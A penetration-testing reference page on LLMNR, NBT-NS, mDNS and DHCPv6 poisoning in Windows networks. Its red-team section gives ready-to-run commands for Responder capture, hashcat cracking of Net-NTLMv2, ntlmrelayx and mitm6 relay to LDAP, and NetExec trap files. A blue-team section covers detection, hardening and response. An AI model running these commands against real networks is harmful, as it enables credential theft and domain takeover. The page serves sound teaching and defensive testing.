LLMNR, NBT-NS, mDNS and DHCPv6 Poisoning
When a Windows host fails to resolve a name over DNS (a mistyped share, a server that no longer exists, automatic proxy discovery), it doesn’t give up: it asks its entire network segment using legacy broadcast/multicast protocols —LLMNR, NBT-NS and mDNS— and takes the first answer. Nobody verifies who replies. An attacker on the same network answers “that’s me,” the victim connects to them, and if the service asks for authentication the victim hands over an NTLM authentication attempt (Net-NTLMv2). That attempt can be cracked offline or relayed live to another server. You don’t steal the credential: you redirect it. The broken invariant is that LAN name resolution has no authentication.
sequenceDiagram
participant V as Victim
participant D as DNS
participant A as Attacker
V->>D: fileservr.corp.local?
D-->>V: doesn't exist
V->>A: (LLMNR multicast) who is FILESERVR?
A-->>V: that's me: 10.10.10.50
V->>A: SMB + NTLM authentication
A->>A: keeps the Net-NTLMv2: crack (hashcat -m 5600)<br/>or relay live (ntlmrelayx)
Threat model
Section titled “Threat model”- Who attacks: anyone with a host on the same layer-2 segment as the victims (a laptop at a free desk, a compromised host, a VPN that reaches the LAN). No credentials needed.
- What it breaks: trust in the first answer. LLMNR, NBT-NS and mDNS were designed for small networks without a DNS server and have no way to check who responds.
- What it gains: authentication attempts from domain users and computers. With a weak password, cleartext credentials after cracking; where signing isn’t required on the destination, execution or LDAP changes via relay (NTLM relay).
- Why it works so often: failed queries are constant (old UNC paths in scripts and shortcuts, drives mapped to decommissioned servers, WPAD), so the attacker just has to listen.
Anatomy
Section titled “Anatomy”The resolution order
Section titled “The resolution order”A Windows client resolves a name roughly like this: local cache and hosts file, DNS, and only
if DNS fails, the multicast mechanisms. The three that matter here:
| Protocol | Transport | Scope | Default state |
|---|---|---|---|
| LLMNR | UDP 5355, multicast 224.0.0.252 / ff02::1:3 |
Link-local | On; disabled by GPO |
| NBT-NS | UDP 137, broadcast | Subnet | On where NetBIOS over TCP/IP is enabled |
| mDNS | UDP 5353, multicast 224.0.0.251 / ff02::fb |
Link-local | On in Windows 10/11 |
Since 2022, Microsoft treats mDNS as the only multicast protocol that should remain and has begun ramping down NetBIOS (“learning” mode and the Configure NetBIOS settings policy in recent versions). LLMNR is still on by default and depends on policy.
What gets captured: Net-NTLMv2 is not the NT hash
Section titled “What gets captured: Net-NTLMv2 is not the NT hash”The attacker doesn’t receive the victim’s NT hash, but the response to a challenge they generated themselves (Net-NTLMv2). Consequences:
- No use for pass-the-hash. It can only be cracked or relayed.
- Cracked offline: hashcat mode 5600 (Net-NTLMv2) or 5500 (Net-NTLMv1). Speed is high; a dictionary password falls in minutes.
- Relayed in real time: the relay must happen while the victim waits for the answer.
Web Proxy Auto-Discovery (WPAD) makes browsers and services look for a host called wpad. If it
doesn’t exist in DNS, the query falls to LLMNR/NBT-NS and the attacker can serve a wpad.dat naming
themselves as the proxy and demand HTTP authentication. The Windows DNS server blocks wpad and
isatap by default via its global query block list, but many environments have changed it or use
another DNS.
DHCPv6 and the other path: mitm6
Section titled “DHCPv6 and the other path: mitm6”Windows prefers IPv6 and requests configuration over DHCPv6 even on networks that don’t use it. An attacker who answers as a DHCPv6 server advertises themselves as the victim’s IPv6 DNS server and, from there, answers the queries they care about (WPAD, internal names). It doesn’t depend on DNS failing: it’s DNS poisoning through a configuration nobody watches.
Variants
Section titled “Variants”| Variant | Condition | What you get |
|---|---|---|
| LLMNR / NBT-NS / mDNS | Same segment, failed queries | Net-NTLMv2 from users and computers |
| WPAD over multicast | wpad doesn’t resolve in DNS |
HTTP authentication from browsers |
| DHCPv6 (mitm6) | IPv6 on, unprotected | Victim’s DNS; authentications for relay |
Trap files (.lnk, .url, .library-ms, .searchConnector-ms) |
Write access to a share | Authentication from whoever opens the folder |
| RPC coercion (PetitPotam, PrinterBug) | Domain credentials | Authentication from a specific server (NTLM relay) |
Red Team
Section titled “Red Team”Observe before responding
Section titled “Observe before responding”Start in analyze mode: Responder listens to the queries without answering. It tells you which names are being looked up, from which hosts, and whether there’s WPAD traffic, without breaking users:
sudo responder -I eth0 -A[Analyze mode: LLMNR] Request by 10.10.10.31 for fileservr, ignoring[Analyze mode: NBT-NS] Request by 10.10.10.44 for WPAD, ignoring[Analyze mode: MDNS] Request by 10.10.10.31 for fileservr.local, ignoringThat output is already a finding (LLMNR and NBT-NS on) even if you capture nothing.
Poison and capture
Section titled “Poison and capture”sudo responder -I eth0 -v # answers LLMNR, NBT-NS and mDNS and raises trap serverssudo responder -I eth0 -w -v # also a WPAD server[LLMNR] Poisoned answer sent to 10.10.10.31 for name fileservr[SMB] NTLMv2-SSP Client : 10.10.10.31[SMB] NTLMv2-SSP Username : CORP\jdoe[SMB] NTLMv2-SSP Hash : jdoe::CORP:1122334455667788:9A1B…:0101000000…Results are saved in logs/ (one file per protocol and IP, e.g.
SMB-NTLMv2-SSP-10.10.10.31.txt) and in the Responder.db database. Responder only keeps the first
hash per user per protocol; for all of them, check the session file.
hashcat -m 5600 jdoe.ntlmv2 rockyou.txt -r rules/best64.rulehashcat -m 5600 jdoe.ntlmv2 --showA computer hash (SRV-APP$) can’t be cracked: its password is random and long. It’s only good for
relay.
Relay instead of cracking
Section titled “Relay instead of cracking”If the captured account is a local admin elsewhere, or the destination accepts LDAP without signing,
relaying is more direct than cracking. Turn off Responder’s SMB and HTTP servers (in
Responder.conf) so the port is free and point ntlmrelayx at targets without SMB signing:
nxc smb 10.10.10.0/24 --gen-relay-list no-signing.txtsudo ntlmrelayx.py -tf no-signing.txt -smb2supportsudo responder -I eth0 -v # with SMB = Off and HTTP = OffTargets, protocols and protections are detailed in NTLM relay.
mitm6 answers DHCPv6 requests and presents itself as the IPv6 DNS server. Combine it with
ntlmrelayx also listening on IPv6 and serving WPAD:
sudo mitm6 -i eth0 -d corp.localsudo ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh fake-wpad.corp.local --delegate-access-d limits replies to that domain and reduces impact on other names. The DHCPv6 leases mitm6 hands
out are short, but hosts keep the poisoned DNS for as long as the test runs: run it in brief windows.
Trap files in shares
Section titled “Trap files in shares”If you can write to a frequently visited folder, a file whose icon points to a UNC path makes the Windows Explorer authenticate to you when the folder is opened, with no click from the user. NetExec automates it and cleans up:
nxc smb srv01.corp.local -u jdoe -p 'Passw0rd!' -M slinky -o SERVER=10.10.10.50 NAME=reportnxc smb srv01.corp.local -u jdoe -p 'Passw0rd!' -M slinky -o NAME=report CLEANUP=TrueInvestigator workflow
Section titled “Investigator workflow”- Analyze mode for 15–30 minutes: which protocols, which names, from where.
- List of hosts without SMB signing and LDAP state (decide whether to crack or relay).
- Scoped poisoning, in an agreed window.
- Crack what you captured; relay the privileged accounts.
- Cleanup: trap files removed, mitm6 stopped, clients with correct DNS.
- Responder: LLMNR/NBT-NS/mDNS poisoning, trap servers, WPAD, DHCP and DHCPv6.
- Inveigh: Windows equivalent (C#/PowerShell) when operating from a domain host.
- mitm6: DHCPv6 poisoning.
- ntlmrelayx (Impacket): relay of what’s captured.
- hashcat: cracking Net-NTLMv2 (5600) and Net-NTLMv1 (5500).
Impact and chaining
Section titled “Impact and chaining”From zero credentials to a domain account (cracking) or execution on a server (relay). With a domain account, enumeration begins; with mitm6 + LDAP relay you reach resource-based delegation over computers (Kerberos delegation).
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Multicast answers from hosts that don’t own the name. One host answering dozens of different names is Responder’s signature.
- Decoy names: a service periodically asking for a name that doesn’t exist; if someone answers, there’s a poisoner on the segment.
- DHCPv6 and router advertisements on networks that don’t use IPv6; IPv6 DNS servers appearing in client config.
- NTLM authentications toward workstation IPs (event 4624 with NTLM package at the source and outbound SMB from clients to other clients).
Telemetry and sources
Section titled “Telemetry and sources”- Network IDS with rules for anomalous LLMNR/NBT-NS answers and DHCPv6 traffic.
- Sysmon (event 22, DNS queries) on clients to see which names fail.
- NTLM auditing on DCs (Network security: Restrict NTLM: Audit…) to know who uses NTLM.
Hardening
Section titled “Hardening”- Disable LLMNR: GPO Computer › Administrative Templates › Network › DNS Client › Turn off multicast name resolution = Enabled.
- Disable NetBIOS over TCP/IP per adapter, via Microsoft’s DHCP option, or with the Configure NetBIOS settings policy in recent versions.
- mDNS:
EnableMDNS = 0(DWORD) inHKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameterswhere it isn’t used. - WPAD: keep
wpadin the DNS global query block list and disable automatic proxy detection if not needed. - IPv6: don’t disable it blindly (Microsoft doesn’t support that); protect the network with RA Guard and DHCPv6 Guard on the switches, or block inbound DHCPv6 with the Windows firewall.
- Cut off relay: require SMB signing, LDAP signing and channel binding, EPA on web services.
- Long passwords so what’s captured can’t be cracked.
Response
Section titled “Response”Locate the responding host (IP and MAC at the switch), isolate it, rotate the passwords of accounts that authenticated to it during the window, and apply the policies above if they were missing.
CVEs and real cases
Section titled “CVEs and real cases”- LLMNR/NBT-NS poisoning is not a CVE: it’s a protocol weakness (MITRE T1557.001), present by default in nearly every Windows network.
- mitm6 (DHCPv6/WPAD) and coercion (PetitPotam, PrinterBug) extend the vector toward relay to AD CS or LDAP: see NTLM relay.
- Since Windows 11 24H2 and Windows Server 2025, NTLMv1 is removed and NTLMv2 deprecated, but LLMNR is still on by default: the capture vector remains valid.
Test checklist
Section titled “Test checklist”- Analyze mode: are LLMNR, NBT-NS or mDNS on? Which names are requested?
- Net-NTLMv2 captured and crackable offline?
- Any Net-NTLMv1 without ESS (serious weakness)?
-
wpadwith no DNS entry (WPAD exploitable)? - IPv6 on without RA Guard / DHCPv6 Guard (mitm6)?
- Hosts without SMB signing (relay viable)?
- Trap files possible in writable shares?
- Blue: LLMNR/NBT-NS disable GPO applied? Resolution decoys deployed?